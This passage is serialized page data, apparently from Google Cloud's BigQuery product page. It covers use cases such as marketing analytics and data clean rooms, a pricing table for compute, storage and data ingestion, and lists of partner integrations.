133, 244);\"\u003eunique elements\u003c/span\u003e in data\u003c/p\u003e"]],[[null,null,"https://cloud.google.com/blog/products/data-analytics/improved-text-analytics-in-bigquery-search-indexes-now-ga"],null,4,{"10000":[[["track-metadata-child_headline","pinpoint unique elements in data"],["track-metadata-child_index","3"],["track-metadata-child_total","3"],["track-metadata-eventdetail","cloud.google.com/blog/products/data-analytics/improved-text-analytics-in-bigquery-search-indexes-now-ga"],["track-metadata-module","product v3 common uses"],["track-metadata-module_headline","analyze log data"],["track-name","pinpoint unique elements in data"]],192551]}]]]]],1]],"log-analytics"],[[[null,[null,"Marketing analytics"]]],[[[[[[null,[null,"\u003cp\u003eIncrease marketing ROI and performance with data and AI\u003c/p\u003e"],[null,"\u003cp\u003eBring the power of Google AI to your marketing data by unifying marketing and business data sources in BigQuery. Get a holistic view of the business, increase marketing ROI and performance using more first-party data, and deliver personalized and targeting marketing at scale with ML/AI built-in. Share insights and performance with Looker Studio or Connected Sheets.\u003c/p\u003e"]],[[null,null,"https://cloud.google.com/solutions/marketing-analytics"],"Explore data and AI solutions built for marketing use cases",{"10000":[[["track-metadata-eventdetail","cloud.google.com/solutions/marketing-analytics"],["track-metadata-module","product v3 common uses"],["track-metadata-module_headline","increase marketing roi and performance with data and ai"],["track-name","explore data and ai solutions built for marketing use cases"]]]}]],[[null,null,"https://lh3.googleusercontent.com/Gz1nVGj_lziy97dGIzEKZ7ASHj-HfoCVD7BBENNbJ6q26XJiaCbNxtVZ4qHVOkvpaycx0qRxi6Yg"],null,null,true,null,null,null,null,[null,"Marketing data warehouse diagram"]]]],1]],"marketing-analytics"],[[[null,[null,"Data clean rooms"]]],[[[[[[null,[null,"\u003cp\u003eBigQuery data clean rooms for privacy-centric data sharing\u003c/p\u003e"],[null,"\u003cp\u003eCreate a low-trust environment for you and your partners to collaborate without copying or moving the underlying data right within BigQuery. This allows you to perform privacy-enhancing transformations in BigQuery SQL interfaces and monitor usage to detect privacy threats on shared data. Benefit from BigQuery scale without needing to manage any infrastructure and built-in BI and AI/ML. \u003c/p\u003e"]],[[null,null,"https://cloud.google.com/use-case/data-clean-rooms"],"Explore more use cases for data clean rooms",{"10000":[[["track-metadata-eventdetail","cloud.google.com/use-case/data-clean-rooms"],["track-metadata-module","product v3 common uses"],["track-metadata-module_headline","bigquery data clean rooms for privacy-centric data sharing"],["track-name","explore more use cases for data clean rooms"]]]}]],[[null,null,"https://lh3.googleusercontent.com/3F74UarzeBKKKND8WRD8unc1SyVytFjn5ZxZ1cpheAyo3WL_xGM1YfzjoNeR_YsqA3dSC94tOo67\u003ds1024-w1024-rw-lo"],null,null,true,null,null,null,null,[null,"Predictive analysis diagram"]]]],1]],"data-clean-rooms"]]],{"10000":[[["track-metadata-module","product v3 common uses"]],191769]}],[80,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,[[[[null,[null,"How BigQuery pricing works"],[null,"BigQuery pricing is based on compute (analysis), storage, additional services, and data ingestion and extraction. Loading and exporting data are free."],null,[null,"\u003cp\u003eLearn more about BigQuery pricing. \u003ca href\u003d\"https://cloud.google.com/bigquery/pricing\" rel\u003d\"noopener noreferrer\" target\u003d\"_blank\"\u003eView all pricing details\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003cbr /\u003e\u003c/p\u003e"]]],[[null,[null,"Services and usage"]],[null,[null,"Subscription type"]],[null,[null,"Price (USD)"]]],null,null,[[[[1,1,[[[null,[null,"\u003cp\u003eFree tier\u003c/p\u003e"]]]]],[1,1,[[[null,[null,"\u003cp\u003eThe \u003ca href\u003d\"https://cloud.google.com/bigquery/pricing#free-tier\" rel\u003d\"noopener noreferrer\" target\u003d\"_blank\"\u003eBigQuery free tier\u003c/a\u003e gives customers 10 GiB storage, up to 1 TiB queries free per month, and other resources.\u003c/p\u003e"]]]]],[1,1,[null,null,null,null,null,[[null,null,[null,"Free"]]]]]],true],[[[4,1,[[[null,[null,"\u003cp\u003eCompute (analysis)\u003c/p\u003e"]]]]],[1,1,[[[null,[null,"\u003cp\u003e\u003cb\u003eOn-demand\u003c/b\u003e\u003c/p\u003e\u003cp\u003eGenerally gives you access to up to 2,000 concurrent slots, shared among all queries in a single project.\u003c/p\u003e"]]]]],[1,1,[null,null,null,null,null,[[null,[null,"Starting at"],[null,"$6.25"],null,[null,"per TiB scanned. First 1 TiB per month is free."]]]]]]],[[[1,1,[[[null,[null,"\u003cp\u003e\u003cb\u003eStandard edition\u003c/b\u003e\u003c/p\u003e\u003cp\u003eLow-cost option for standard SQL analysis \u003c/p\u003e"]]]]],[1,1,[null,null,null,null,null,[[null,null,[null,"$0.04 "],null,[null,"per slot hour"]]]]]]],[[[1,1,[[[null,[null,"\u003cp\u003e\u003cb\u003eEnterprise edition\u003c/b\u003e\u003c/p\u003e\u003cp\u003eSupports advanced enterprise analytics\u003c/p\u003e"]]]]],[1,1,[null,null,null,null,null,[[null,null,[null,"$0.06"],null,[null,"per slot hour"]]]]]]],[[[1,1,[[[null,[null,"\u003cp\u003e\u003cb\u003eEnterprise Plus edition\u003c/b\u003e\u003c/p\u003e\u003cp\u003eSupports mission-critical enterprise analytics\u003c/p\u003e"]]]]],[1,1,[null,null,null,null,null,[[null,null,[null,"$0.10"],null,[null,"per slot hour"]]]]]]],[[[4,1,[[[null,[null,"\u003cp\u003eStorage\u003c/p\u003e"]]]]],[1,1,[[[null,[null,"\u003cp\u003e\u003cb\u003eActive local storage\u003c/b\u003e\u003c/p\u003e\u003cp\u003eBased on the uncompressed bytes used in tables or table partitions modified in the last 90 days. \u003c/p\u003e"]]]]],[1,1,[null,null,null,null,null,[[null,[null,"Starting at"],[null,"$0.02"],null,[null,"Per GiB. The first 10 GiB is free each month."]]]]]],true],[[[1,1,[[[null,[null,"\u003cp\u003e\u003cb\u003eLong-term logical storage\u003c/b\u003e\u003c/p\u003e\u003cp\u003eBased on the uncompressed bytes used in tables or table partitions modified for 90 consecutive days. \u003c/p\u003e"]]]]],[1,1,[null,null,null,null,null,[[null,[null,"Starting at"],[null,"$0.01"],null,[null,"Per GiB. The first 10 GiB is free each month."]]]]]],true],[[[1,1,[[[null,[null,"\u003cp\u003e\u003cb\u003eActive physical storage\u003c/b\u003e\u003c/p\u003e\u003cp\u003eBased on the compressed bytes used in tables or table partitions modified for 90 consecutive days.\u003c/p\u003e"]]]]],[1,1,[null,null,null,null,null,[[null,[null,"Starting at"],[null,"$0.04 "],null,[null,"Per GiB. The first 10 GiB is free each month."]]]]]],true],[[[1,1,[[[null,[null,"\u003cp\u003e\u003cb\u003eLong-term physical storage\u003c/b\u003e\u003c/p\u003e\u003cp\u003eBased on compressed bytes in tables or partitions that have not been modified for 90 consecutive days.\u003c/p\u003e"]]]]],[1,1,[null,null,null,null,null,[[null,[null,"Starting at"],[null,"$0.02"],null,[null,"Per GiB. The first 10 GiB is free each month."]]]]]],true],[[[3,1,[[[null,[null,"\u003cp\u003eData ingestion\u003c/p\u003e"]]]]],[1,1,[[[null,[null,"\u003cp\u003e\u003cb\u003eBatch loading \u003c/b\u003e\u003c/p\u003e\u003cp\u003eImport table from Cloud Storage\u003c/p\u003e"]]]]],[1,1,[null,null,null,null,null,[[null,null,[null,"Free"],null,[null,"When using the shared slot pool"]]]]]]],[[[1,1,[[[null,[null,"\u003cp\u003e\u003cb\u003eStreaming inserts\u003c/b\u003e\u003c/p\u003e\u003cp\u003eYou are charged for rows that are successfully inserted. Individual rows are calculated using a 1 KB minimum.\u003c/p\u003e"]]]]],[1,1,[null,null,null,null,null,[[null,null,[null,"$0.01"],null,[null,"per 200 MiB"]]]]]]],[[[1,1,[[[null,[null,"\u003cp\u003e\u003cb\u003eBigQuery Storage Write API\u003c/b\u003e\u003c/p\u003e\u003cp\u003eData loaded into BigQuery, is subject to \u003ca href\u003d\"https://cloud.google.com/bigquery/pricing#storage\" rel\u003d\"noopener noreferrer\" target\u003d\"_blank\"\u003eBigQuery storage pricing\u003c/a\u003e or \u003ca href\u003d\"https://cloud.google.com/storage/pricing#storage-pricing\" rel\u003d\"noopener noreferrer\" target\u003d\"_blank\"\u003eCloud Storage pricing\u003c/a\u003e.\u003c/p\u003e"]]]]],[1,1,[null,null,null,null,null,[[null,null,[null,"$0.025"],null,[null,"per 1 GiB. The first 2 TiB per month are free."]]]]]]],[[[2,1,[[[null,[null,"\u003cp\u003eData extraction\u003c/p\u003e"]]]]],[1,1,[[[null,[null,"\u003cp\u003e\u003cb\u003eBatch export\u003c/b\u003e\u003c/p\u003e\u003cp\u003eExport table data to Cloud Storage.\u003c/p\u003e"]]]]],[1,1,[null,null,null,null,null,[[null,null,[null,"Free"],null,[null,"When using the shared slot pool"]]]]]],true],[[[1,1,[[[null,[null,"\u003cp\u003e\u003cb\u003eStreaming reads\u003c/b\u003e\u003c/p\u003e\u003cp\u003eUse the storage Read API to perform streaming reads of table data.\u003c/p\u003e"]]]]],[1,1,[null,null,null,null,null,[[null,[null,"Starting at"],[null,"$1.10"],null,[null,"per TiB read"]]]]]],true]]],[null,[[[null,[null,"Pricing calculator"],[null,"Estimate your monthly BigQuery costs, including region specific pricing and fees."]],[[null,null,"https://cloud.google.com/products/calculator"],"Estimate your costs",{"10000":[[["track-metadata-eventdetail","cloud.google.com/products/calculator"],["track-metadata-module","product v3 price table"],["track-metadata-module_headline","pricing calculator"],["track-name","estimate your costs"]]]}]]],[[[null,[null,"Custom quote"],[null,"Connect with our sales team to get a custom quote for your organization."]],[[null,null,"https://cloud.google.com/contact?direct\u003dtrue"],"Request a quote",3,{"10000":[[["track-metadata-eventdetail","cloud.google.com/contact"],["track-metadata-module","product v3 price table"],["track-metadata-module_headline","custom quote"],["track-name","request a quote"]],192550]}]]]]],{"10000":[[["track-metadata-module","product v3 price table"]],191770],"10002":"how-bigquery-pricing-works"}],[72,null,null,[[[[[null,"Start your proof of concept"],[null,"New customers get $300 in free credits to try BigQuery and other Google Cloud products"],[null,"Try BigQuery sandbox without a credit card"]],[[null,null,"https://console.cloud.google.com/freetrial?redirectPath\u003d/bigquery"],"Get started for free",1,{"10000":[[["track-metadata-eventdetail","console.cloud.google.com/freetrial"],["track-metadata-module","proof of concept"],["track-metadata-module_headline","new customers get $300 in free credits to try bigquery and other google cloud products"],["track-name","get started for free"]],192548]}],[[null,null,"https://cloud.google.com/bigquery/docs/sandbox"],"Run a query",6,{"10000":[[["track-metadata-eventdetail","cloud.google.com/bigquery/docs/sandbox"],["track-metadata-module","proof of concept"],["track-metadata-module_headline","new customers get $300 in free credits to try bigquery and other google cloud products"],["track-name","run a query"]],192553]}]]],[[[[null,[null,"Learn how to locate and query public datasets in BigQuery"]],[[null,null,"https://cloud.google.com/bigquery/docs/quickstarts/query-public-dataset-console"],"Read guide",6,{"10000":[[["track-metadata-child_headline","learn how to locate and query public datasets in bigquery"],["track-metadata-child_index","1"],["track-metadata-child_total","3"],["track-metadata-eventdetail","cloud.google.com/bigquery/docs/quickstarts/query-public-dataset-console"],["track-metadata-module","proof of concept"],["track-metadata-module_headline","new customers get $300 in free credits to try bigquery and other google cloud products"],["track-name","read guide"]],192553]}]]],[[[null,[null,"Learn how to load data into BigQuery"]],[[null,null,"https://cloud.google.com/bigquery/docs/loading-data"],"Read guide",6,{"10000":[[["track-metadata-child_headline","learn how to load data into bigquery"],["track-metadata-child_index","2"],["track-metadata-child_total","3"],["track-metadata-eventdetail","cloud.google.com/bigquery/docs/loading-data"],["track-metadata-module","proof of concept"],["track-metadata-module_headline","new customers get $300 in free credits to try bigquery and other google cloud products"],["track-name","read guide"]],192553]}]]],[[[null,[null,"Learn how to create and use tables in BigQuery"]],[[null,null,"https://cloud.google.com/bigquery/docs/tables"],"Read guide",6,{"10000":[[["track-metadata-child_headline","learn how to create and use tables in bigquery"],["track-metadata-child_index","3"],["track-metadata-child_total","3"],["track-metadata-eventdetail","cloud.google.com/bigquery/docs/tables"],["track-metadata-module","proof of concept"],["track-metadata-module_headline","new customers get $300 in free credits to try bigquery and other google cloud products"],["track-name","read guide"]],192553]}]]]]],{"10000":[[["track-metadata-module","proof of concept"]],191762],"10002":"new-customers-get-$300-in-free-credits-to-try-bigquery-and-other-google-cloud-products"}],[73,null,null,null,null,null,null,null,null,null,null,null,[[[null,[null,"Work with a partner with BigQuery expertise"],null,null,[null,"\u003cp\u003eFrom data ingestion to visualization, many partners have integrated their data solutions with BigQuery. Listed above are partner integrations through \u003ca href\u003d\"https://cloud.google.com/bigquery/docs/bigquery-ready-overview\" rel\u003d\"noopener noreferrer\" target\u003d\"_blank\"\u003eGoogle Cloud Ready - BigQuery\u003c/a\u003e.\u003c/p\u003e\u003cp\u003eVisit our \u003ca href\u003d\"https://cloud.google.com/find-a-partner/\" rel\u003d\"noopener noreferrer\" target\u003d\"_blank\"\u003epartner directory\u003c/a\u003e to learn about these BigQuery partners.\u003c/p\u003e"]]],[[[[null,[null,"ETL and data integration"]]],[[null,[null,[[null,null,"https://lh3.googleusercontent.com/ernMih_P-z8KybdPn5TkOerU0kXqQSiCQ2aYBoHMGPXW7jkGNq58NHE7FhoO_ZVxIrZbjeXpQ8c"],null,null,true,null,null,null,null,[null,"Confluent logo"]]]],[null,[null,[[null,null,"https://lh3.googleusercontent.com/WVtAv77pZSLUBLzrb9aDSnJZiqkXuj7ehKpQY4wEzXEvyAByZKX1ZmkavHEqwlgeOvT-DujEwos_3A"],null,null,true,null,null,null,null,[null,"Fivetran logo"]]]],[null,[null,[[null,null,"https://lh3.googleusercontent.com/Cc7ZJ2V2uZnkcpsQOZXoa7ZJevWoebsiNCCi-ryckiPila5BcKIdFNbqUnRt9oh2PCikBIne_AHBgA"],null,null,true,null,null,null,null,[null,"informatica logo"]]]],[null,[null,[[null,null,"https://lh3.googleusercontent.com/M-VmAs61fUPrpObXm623r06lQ-ZhI5CEXQvSd7DGKsg1i3EVAasgl7I6t0_x1n9JkVflnJ1I6en3"],null,null,true,null,null,null,null,[null,"snaplogic logo"]]]],[null,[null,[[null,null,"https://lh3.googleusercontent.com/eTDTV4EfK0iZvu5c21GhfHK7dV7C84ZyWghMPckoyalmy50kzJvP_oMGdfUmbyeVzYxohqeSx3I"],null,null,true,null,null,null,null,[null,"Matillion logo"]]]],[null,[null,[[null,null,"https://lh3.googleusercontent.com/_kxi5q4shI5Lh5c8RQNF3i8g6dLWqLWod-hD4M3_zufgzec_8NsRnIT49CN6DDC7BjhqkYLsD13h"],null,null,true,null,null,null,null,[null,"Trifacta logo"]]]],[null,[null,[[null,null,"https://lh3.googleusercontent.com/Xf-XR_P16CBijNUK-W9-vwFPpL4SD8JUBUdGpvjSv6muWZ4NY69hNxuACW-nCR1AS5R76gQQsyvMLw"],null,null,true,null,null,null,null,[null,"Alteryx logo"]]]],[null,[null,[[null,null,"https://lh3.googleusercontent.com/nZsyF06oI_NC7kq4Do6Zsor9AUZDoOW0FysBkZvENG3m7MGqxITbxGmjTDTN_JSF6wFkW65T26xP7A"],null,null,true,null,null,null,null,[null,"Striim logo"]]]],[null,[null,[[null,null,"https://lh3.googleusercontent.com/tJEnOZGbHSTHxztk0jhTVLydt_qmpGGUqAHR64-3Ta3193epJXfwQzWvOY5n33LxdL6be18Ulz0g"],null,null,true,null,null,null,null,[null,"talend logo"]]]],[null,[null,[[null,null,"https://lh3.googleusercontent.com/a2F9ZxJYhV5hJASQtG1hQEVkshZ_XQpjHK1_BQZ26mWT0rhbuTrkNDVhtxov-i0DAeVc_DoHv9Z2OQ"],null,null,true,null,null,null,null,[null,"rivery logo"]]]],[null,[null,[[null,null,"https://lh3.googleusercontent.com/q4NSXWeri3_m7fN2TV8X9jPk9iApKLk_nFqa2vLXPogMFBv3SeWSc3mXjHNIRb8HvbJBcVSVVt8P"],null,null,true,null,null,null,null,[null,"Rudderstack logo"]]]],[null,[null,[[null,null,"https://lh3.googleusercontent.com/wy97LO10QbtrtinxIIhIjSuqoOCFb-7sq8CZVh97mB3ZofHOQGaS1tp2WRz-f3LzGTqeKv1_NPTH"],null,null,true,null,null,null,null,[null,"funnel logo"]]]],[null,[null,[[null,null,"https://lh3.googleusercontent.com/zZUGrPuuDq8T9O2B2F5fpjej98470WFVW-MYGTJUTk_z7XZVgxyM58QZgZvCXi6AY1BySyeZTIrs"],null,null,true,null,null,null,null,[null,"dbt logo"]]]],[null,[null,[[null,null,"https://lh3.googleusercontent.com/mySjql7WRFNkzHy-fwLa81lnb6UjRBvHaDc6MrqeAKWxE8kz0KlaAcYdPtI14byzChPpjTzRJA0"],null,null,true,null,null,null,null,[null,"Denodo logo"]]]],[null,[null,[[null,null,"https://lh3.googleusercontent.com/DdkbuNg4dK82hpTeuERue6bPyFkm6itKt1VHMUypQdMYH_7VeIkjgs6VGgdn4QozkdKh3NjVzSQ62g"],null,null,true,null,null,null,null,[null,"Supermetrics logo"]]]],[null,[null,[[null,null,"https://lh3.googleusercontent.com/EyVdJgAClXuQHO2yBhmfGHZGB4ZkukT27iHY4xdvu67LFZw91q3d0EWl75AV-s1YhUupZU8--apO6g"],null,null,true,null,null,null,null,[null,"Airbyte logo"]]]],[null,[null,[[null,null,"https://lh3.googleusercontent.com/pU0itt-s65aqyp3ckOSAR8_4gixSODJPJ1CNSjYQfGy1DyADVihJL3jenUSBjliWCaIh3szH-hI"],null,null,true,null,null,null,null,[null,"Hevo logo"]]]],[null,[[null,[[null,null,"https://cloud.google.com/find-a-partner/partner/aiven"],null,15,{"10000":[[["track-metadata-eventdetail","cloud.google.com/find-a-partner/partner/aiven"],["track-metadata-module","partners and integration"]]]}]],[[null,null,"https://lh3.googleusercontent.com/OtEu2g_THONxFVPBgLLmmQGyTM_lNs7lxgGDdQnPtAcHmmNTh6mqH6nlmQEcZsqzp4CXprBo8Ddc"],null,null,true,null,null,null,null,[null,"aiven"]]]],[null,[[null,[[null,null,"https://cloud.google.com/find-a-partner/partner/devart-s-r-o"],null,15,{"10000":[[["track-metadata-eventdetail","cloud.google.com/find-a-partner/partner/devart-s-r-o"],["track-metadata-module","partners and integration"]]]}]],[[null,null,"https://lh3.googleusercontent.com/3-Tk1mtzsu6f-IIhfwq_E_7pJvLQrvGayyx9DY8OUAJgkf_GzTsAmDrfE5UiKNz9OvuDinsxxCRuEA"],null,null,true,null,null,null,null,[null,"skyvia logo"]]]],[null,[[null,[[null,null,"https://cloud.google.com/find-a-partner/partner/ascendo-ai-inc"],null,15,{"10000":[[["track-metadata-eventdetail","cloud.google.com/find-a-partner/partner/ascendo-ai-inc"],["track-metadata-module","partners and integration"]]]}]],[[null,null,"https://lh3.googleusercontent.com/6IDErn36XvqUGHeypUwykp9WrmvTzPEvk-h7qWaROTwX2YMNg9G0AYf7wNwjup9yUNeRHgyMTN4"],null,null,true,null,null,null,null,[null,"ascend.io logo"]]]],[null,[[null,[[null,null,"https://cloud.google.com/find-a-partner/partner/dataddo"],null,15,{"10000":[[["track-metadata-eventdetail","cloud.google.com/find-a-partner/partner/dataddo"],["track-metadata-module","partners and integration"]]]}]],[[null,null,"https://lh3.googleusercontent.com/YCZ2SKYCwMA995tu8-uvOyCgk5X7hb3ubwJncHpMr-UMmfuWhsNKgAcjj2pI40_VabdZTDb-bVSv"],null,null,true,null,null,null,null,[null,"dataddo logo"]]]],[null,[[null,[[null,null,"https://docs.arcion.io/docs/source-setup/bigquery/"],null,6,{"10000":[[["track-metadata-eventdetail","docs.arcion.io/docs/source-setup/bigquery"],["track-metadata-module","partners and integration"]],192553]}]],[[null,null,"https://lh3.googleusercontent.com/BVL-f0QKuTA75irAjHpPu8z6ugCtWbv7YUpBQaNc1cqSxeU_wo-vLf296NBR_eT5R8XwmlfR4Zv3"],null,null,true,null,null,null,null,[null,"arcion logo"]]]],[null,[[null,[[null,null,"https://cloud.google.com/find-a-partner/partner/hasura"],null,15,{"10000":[[["track-metadata-eventdetail","cloud.google.com/find-a-partner/partner/hasura"],["track-metadata-module","partners and integration"]]]}]],[[null,null,"https://lh3.googleusercontent.com/Sf6_OOZ0fmaOc_QC1NU2VyWstRmEOcJpujSddHOTf02Tm8U9DyJBYVEynNqloPB_a_F1ByoVOJ-8"],null,null,true,null,null,null,null,[null,"Hasura logo"]]]],[null,[[null,[[null,null,"https://cloud.google.com/find-a-partner/partner/estuary"],null,15,{"10000":[[["track-metadata-eventdetail","cloud.google.com/find-a-partner/partner/estuary"],["track-metadata-module","partners and integration"]]]}]],[[null,null,"https://lh3.googleusercontent.com/BKhE8vXD1L2uAbFihe7NOvr0VD5qAld-5aJgFPQFg6js8ZCnlGGguxfZAjHjBx5VAGir_tmKxp7oCA"],null,null,true,null,null,null,null,[null,"Estuary logo"]]]],[null,[[null,[[null,null,"https://docs.calibermind.com/article/1h3lzav7y2-caliber-mind-data-warehouse-access-in-google-big-query"],{"10000":[[["track-metadata-eventdetail","docs.calibermind.com/article/1h3lzav7y2-caliber-mind-data-warehouse-access-in-google-big-query"],["track-metadata-module","partners and integration"]]]}]],[[null,null,"https://lh3.googleusercontent.com/26M4amN_x0BzWvmYhgFojLgwfAPPMAQrmIE_eU0kHFsIHE7sk4jXkKy_nvFwdbygw0wcWsHZAqp0HA"],null,null,true,null,null,null,null,[null,"calibermind logo"]]]],[null,[[null,[[null,null,"https://cloud.google.com/find-a-partner/partner/retool"],null,15,{"10000":[[["track-metadata-eventdetail","cloud.google.com/find-a-partner/partner/retool"],["track-metadata-module","partners and integration"]]]}]],[[null,null,"https://lh3.googleusercontent.com/IDTo0Nqj1TzG__K97qqt_7tQXRdQKcph4OjvazKsRExL1WrOSbWBP4BqmLMvn1hlBxPgoX1G53zx"],null,null,true,null,null,null,null,[null,"retool logo"]]]],[null,[[null,[[null,null,"https://portable.io/connectors/portable/bigquery"],{"10000":[[["track-metadata-eventdetail","portable.io/connectors/portable/bigquery"],["track-metadata-module","partners and integration"]]]}]],[[null,null,"https://lh3.googleusercontent.com/V0p_tBm5L8rDmRLN-z8BgXLvfalt32AB6SGqk4o8jy91cBe6-VbLTOR3_kUI064U9weA4LrltanW"],null,null,true,null,null,null,null,[null,"portable logo"]]]],[null,[[null,[[null,null,"https://cloud.google.com/find-a-partner/partner/precog"],null,15,{"10000":[[["track-metadata-eventdetail","cloud.google.com/find-a-partner/partner/precog"],["track-metadata-module","partners and integration"]]]}]],[[null,null,"https://lh3.googleusercontent.com/SWjgPStDGv1g79rj128yTT9klLsZP9oan8jScoqlU6sotP-ULoDB8mB7tKpXMsf7gClv1Dpo7CU5"],null,null,true,null,null,null,null,[null,"precog logo"]]]],[null,[[null,[[null,null,"https://cloud.google.com/find-a-partner/partner/cloudquery"],null,15,{"10000":[[["track-metadata-eventdetail","cloud.google.com/find-a-partner/partner/cloudquery"],["track-metadata-module","partners and integration"]]]}]],[[null,null,"https://lh3.googleusercontent.com/356nRCFxjXlDPs9M6GEN7QPHL8rbS1aDqf9ABx7vVAajm12V5VuT_bbuhHBqYFTRXCK6L4fAnucO"],null,null,true,null,null,null,null,[null,"CloudQuery logo"]]]]],[],null,"etl-and-data-integration"],[[[null,[null,"Reverse ETL and MDM"]]],[[null,[null,[[null,null,"https://lh3.googleusercontent.com/BkXECndt-amIcp1Adedr3lsgFeJ1_vcEJRrXxPw5QsJCrS6d07doHe0Jx7hLN8-wp1-NQvpoK_5JUg"],null,null,true,null,null,null,null,[null,"Census logo"]]]],[null,[null,[[null,null,"https://lh3.googleusercontent.com/-TDw2LwfBYgQ133eO6maZ5pz0mBxYqIIU-BdRmEiIFA7zEIpSKONzKXn62sb9e41nNYpyghwQVRG"],null,null,true,null,null,null,null,[null,"integratei.io logo"]]]],[null,[null,[[null,null,"https://lh3.googleusercontent.com/aeNmy7nrSnwanYfrC_yCQFvCupyqj9nqODLLTLcdAdotjoYaFymHFcwv__gHGpolcQ7_9c_n8WBOiA"],null,null,true,null,null,null,null,[null,"Hightouch logo"]]]],[null,[null,[[null,null,"https://lh3.googleusercontent.com/ste-Nhtd2aCNVWjqp33jyShspn97WrdsiYIOT-Eavvw6RvPHqLzQNQ3QZmYujjv_SBCKV_n-GcsDAg"],null,null,true,null,null,null,null,[null,"Nexla logo"]]]],[null,[null,[[null,null,"https://lh3.googleusercontent.com/jMdWWkshXLh8YuTi_cvx7zsJ5oZhtH5n3CsnCGDKVRPxtxT_8DzQxSd-FLCunlbtMShceYkP8co"],null,null,true,null,null,null,null,[null,"Reltio logo"]]]],[null,[null,[[null,null,"https://www.gstatic.com/bricks/image/198cbb2904185590fd14cee4cab419f4c65df250456b66b91e2d7b2aec090fb7.svg"],null,null,null,null,null,null,null,[null,"Tamr logo"]]]]],[],null,"reverse-etl-and-mdm"],[[[null,[null,"BI and data visualization"]]],[[null,[null,[[null,null,"https://lh3.googleusercontent.com/nVy1GfKWTgsRWqie3OKVPqI_tFOxIoAAqZNciHy0ik_NTmOOd57_Vdk0Zs-MFQ83C3Z_2lQ8X6ax"],null,null,true,null,null,null,null,[null,"Tableau logo"]]]],[null,[null,[[null,null,"https://lh3.googleusercontent.com/u_InqAZdHllwsUvXZvIT85v_R73zz1CXc9pRIRbV35F9QAdgx0ZtQnHQ1rIkTcwplCf4sSP8bzY"],null,null,true,null,null,null,null,[null,"MicroStrategy logo"]]]],[null,[null,[[null,null,"https://lh3.googleusercontent.com/TbnvCb9C46ZupoKUc4dujub8HeqKQQlNYc0WGHcDcAmV2zxAl6I1i0Ulvf05pyG8AyFAm8ZAJLKM"],null,null,true,null,null,null,null,[null,"Qlik logo"]]]],[null,[null,[[null,null,"https://lh3.googleusercontent.com/gNmqVbCMqvGrh9_CYj7_Od8UOX8-vIoln0eYc0InHay1cXhfrQuTqwalIQZzVmPlVqnlttWOABtWfQ"],null,null,true,null,null,null,null,[null,"Sas logo"]]]],[null,[null,[[null,null,"https://lh3.googleusercontent.com/Fk2LqU09POB11UVxwvAI4YuPjoDToq6uOw3RJ692uGLvd_UzlU0p9i5pE_pG6Hr-GAJGHZ4engYb"],null,null,true,null,null,null,null,[null,"ThoughtSpot logo"]]]],[null,[null,[[null,null,"https://lh3.googleusercontent.com/A-XqnQZ0a8Eyfs9OPYOCNTZMFWx1NHRy2RT6K8z7NKCouJNFQqzkoEffpw-CJqPJrjWnnFvB8AajRw"],null,null,true,null,null,null,null,[null,"Sigma logo"]]]],[null,[null,[[null,null,"https://lh3.googleusercontent.com/yDh09VHdW7uxgCOdXSUA9PQXUAqgsy6WCrNDAup2FnSP6diGvVR2SMzPyP98PuPtPpykThSjmHK5"],null,null,true,null,null,null,null,[null,"sisense logo"]]]],[null,[null,[[null,null,"https://lh3.googleusercontent.com/D2GVFuKIPiRlZMnZaHgdHuXYDztz4cMJKG1DqBG9eCh3cyb-IkncPhfaqTa2tqj6WG3SMkrkgMkMVg"],null,null,true,null,null,null,null,[null,"Mode logo"]]]],[null,[null,[[null,null,"https://lh3.googleusercontent.com/NdrXgfUlxfYVtoxkjUu1Qp5sXprPFZ8SEFP8lmisN_NUqyFBGLdJRYntFnwM9xsABoxYzbQBlheG8A"],null,null,true,null,null,null,null,[null,"incorta logo"]]]],[null,[null,[[null,null,"https://lh3.googleusercontent.com/uQvpX77fRPtXsVQ8cBA0qEGPqn-YQC0L2pXoIxys2DOKSjyDsOGY8nt5_lbjrgoI4NrrQfAPLYHKRQ"],null,null,true,null,null,null,null,[null,"Carto logo"]]]],[null,[[null,[[null,null,"https://cloud.google.com/find-a-partner/partner/domo-inc"],null,15,{"10000":[[["track-metadata-eventdetail","cloud.google.com/find-a-partner/partner/domo-inc"],["track-metadata-module","partners and integration"]]]}]],[[null,null,"https://lh3.googleusercontent.com/f4CuBrSvhvmUJvoP8w32PclSnLRbYIHcbpesIDgFCNV29mH9TBPmiLRM3GKW6l3xDhWw8DVcpqLe"],null,null,true,null,null,null,null,[null,"domo logo"]]]],[null,[[null,[[null,null,"https://cloud.google.com/find-a-partner/partner/dreamdata"],null,15,{"10000":[[["track-metadata-eventdetail","cloud.google.com/find-a-partner/partner/dreamdata"],["track-metadata-module","partners and integration"]]]}]],[[null,null,"https://lh3.googleusercontent.com/sjLLF7XSZv6lwBS8QVHpc8s6ngT_et43IHzShLPhdjd28P604HANHgDv85-HmpGLk-uPDHkSthEa"],null,null,true,null,null,null,null,[null,"dreamdata logo"]]]],[null,[[null,[[null,null,"https://cloud.google.com/find-a-partner/partner/atscale"],null,15,{"10000":[[["track-metadata-eventdetail","cloud.google.com/find-a-partner/partner/atscale"],["track-metadata-module","partners and integration"]]]}]],[[null,null,"https://lh3.googleusercontent.com/Z1ZQQj1Fc2sy0g5znbjw0FCCmjRHFxwVEUVoBGah7RVB9q7dEhkBE7eJAJdCpcws_hkAMCB-EqY"],null,null,true,null,null,null,null,[null,"atscale logo"]]]],[null,[[null,[[null,null,"https://cloud.google.com/find-a-partner/partner/tellius"],null,15,{"10000":[[["track-metadata-eventdetail","cloud.google.com/find-a-partner/partner/tellius"],["track-metadata-module","partners and integration"]]]}]],[[null,null,"https://lh3.googleusercontent.com/mI3umCjo53suj901m4zndXvQvOsznEXN2CzOQUJ0soMFmhVHnMyJidI1uTc0vmxBH0a2ZcLbd8x1UA"],null,null,true,null,null,null,null,[null,"tellius"]]]],[null,[[null,[[null,null,"https://cloud.google.com/find-a-partner/partner/zing-data"],null,15,{"10000":[[["track-metadata-eventdetail","cloud.google.com/find-a-partner/partner/zing-data"],["track-metadata-module","partners and integration"]]]}]],[[null,null,"https://lh3.googleusercontent.com/NWxTk2tC6qgI3EfG2q5M1IS9HEQVY3Z5o7vFCrvDKTIFelGFs4nyPDW8EIcuXiKLnRcZFHe8I820"],null,null,true,null,null,null,null,[null,"zing 